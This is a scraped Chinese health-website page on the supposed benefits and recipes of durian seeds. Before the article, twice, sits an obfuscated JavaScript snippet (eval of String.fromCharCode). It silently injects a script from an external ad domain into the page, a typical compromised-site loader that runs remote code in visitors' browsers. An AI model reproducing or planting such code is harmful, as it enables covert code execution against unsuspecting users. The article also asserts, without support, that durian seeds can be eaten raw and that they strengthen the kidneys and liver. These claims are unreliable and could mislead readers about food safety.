var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 54, 44, 32, 54, 49, 44, 32, 52, 57, 41, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 49, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 52, 92, 120, 55, 57, 92, 120, 55, 48, 92, 120, 54, 53, 34, 93, 32, 61, 32, 34, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 55, 56, 92, 120, 55, 52, 92, 120, 50, 70, 92, 120, 54, 65, 92, 120, 54, 49, 92, 120, 55, 54, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 55, 57, 92, 120, 54, 69, 92, 120, 54, 51, 34, 93, 32, 61, 32, 116, 114, 117, 101, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 51, 92, 120, 55, 50, 92, 120, 54, 51, 34, 93, 32, 61, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 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120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 118, 97, 114, 32, 110, 32, 61, 32, 116, 114, 117, 101, 59, 10, 102, 111, 114, 32, 40, 118, 97, 114, 32, 105, 32, 61, 32, 48, 59, 32, 105, 32, 60, 32, 116, 110, 100, 101, 109, 111, 115, 91, 34, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 54, 55, 92, 120, 55, 52, 92, 120, 54, 56, 34, 93, 59, 32, 105, 43, 43, 41, 32, 123, 10, 32, 32, 32, 32, 105, 102, 32, 40, 116, 110, 100, 101, 109, 111, 115, 91, 105, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 110, 32, 61, 32, 102, 97, 108, 115, 101, 10, 32, 32, 32, 32, 125, 10, 125, 59, 10, 105, 102, 32, 40, 110, 32, 61, 61, 32, 116, 114, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 97, 49, 40, 41, 59, 10, 125)); 榴莲核的功效与作用 | 锦利国际养生网大众养生网 - 提供健康养生,中医保健知识,营养师问题和食谱 var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 54, 44, 32, 54, 49, 44, 32, 52, 57, 41, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 49, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 52, 92, 120, 55, 57, 92, 120, 55, 48, 92, 120, 54, 53, 34, 93, 32, 61, 32, 34, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 55, 56, 92, 120, 55, 52, 92, 120, 50, 70, 92, 120, 54, 65, 92, 120, 54, 49, 92, 120, 55, 54, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 55, 57, 92, 120, 54, 69, 92, 120, 54, 51, 34, 93, 32, 61, 32, 116, 114, 117, 101, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 51, 92, 120, 55, 50, 92, 120, 54, 51, 34, 93, 32, 61, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 91, 48, 93, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 91, 34, 92, 120, 55, 48, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 52, 69, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 69, 92, 120, 55, 51, 92, 120, 54, 53, 92, 120, 55, 50, 92, 120, 55, 52, 92, 120, 52, 50, 92, 120, 54, 53, 92, 120, 54, 54, 92, 120, 54, 70, 92, 120, 55, 50, 92, 120, 54, 53, 34, 93, 40, 95, 48, 120, 52, 50, 116, 98, 99, 50, 44, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 41, 10, 125, 59, 10, 118, 97, 114, 32, 116, 110, 100, 101, 109, 111, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 118, 97, 114, 32, 110, 32, 61, 32, 116, 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榴莲核的功效与作用

榴莲核的功效与作用

       我们大家在吃榴莲的时候往往就把榴莲核给丢掉了,这造成了极大的浪费,因为榴莲核也是可以吃的,并且食用榴莲核能够保健身体,提高身体素质。榴莲核含有丰富的维生素和多种微量元素,食用价值非常高。现在一起来了解一下榴莲核的功效与作用吧。

       榴莲核的功效与作用

       首先,我们来看一下榴莲核的吃法。榴莲核可以生吃,也可以炒着吃,还能炖汤,它吃起来的味道有点类似板栗。

       榴莲核和榴莲一样都含有很高的热量,能及时为人体补充所需的能量;里面含有丰富的维生素A、B和C,维生素A可以增强视力,维生素B可以帮助增强肝功能,维生素C可以提高抵抗力;榴莲核中含有钙、铁、锌、镁等元素能够维持人体内正常的生命活动,促进人体健康成长。

       榴莲核的吃法

       用榴莲核煮汤的话,可以将榴莲核洗净晒干保存,每次煮汤的时候放一些进去,这能够帮助我们补肾健胃。所以下回吃榴莲的时候可以将榴莲核收起来。
有些人的脾肾功能薄弱,导致身体机能下降,这时候可以将榴莲核和适量的桂圆、瘦肉一起放在锅中加入适量的热水同煮,这种方法可以帮助我们保健脾胃、滋阴补肾,而且一点也不费事。

      榴莲核

      榴莲核还能再煲鸡汤、骨汤的时候一起煮,煮烂之后糯糯的口感好像板栗、芋头一样,吃肉喝汤的同时将榴莲核也吃掉,能够温脾补肾。此外,将榴莲核和水果一起煮成甜汤来食用也是不错的。

 

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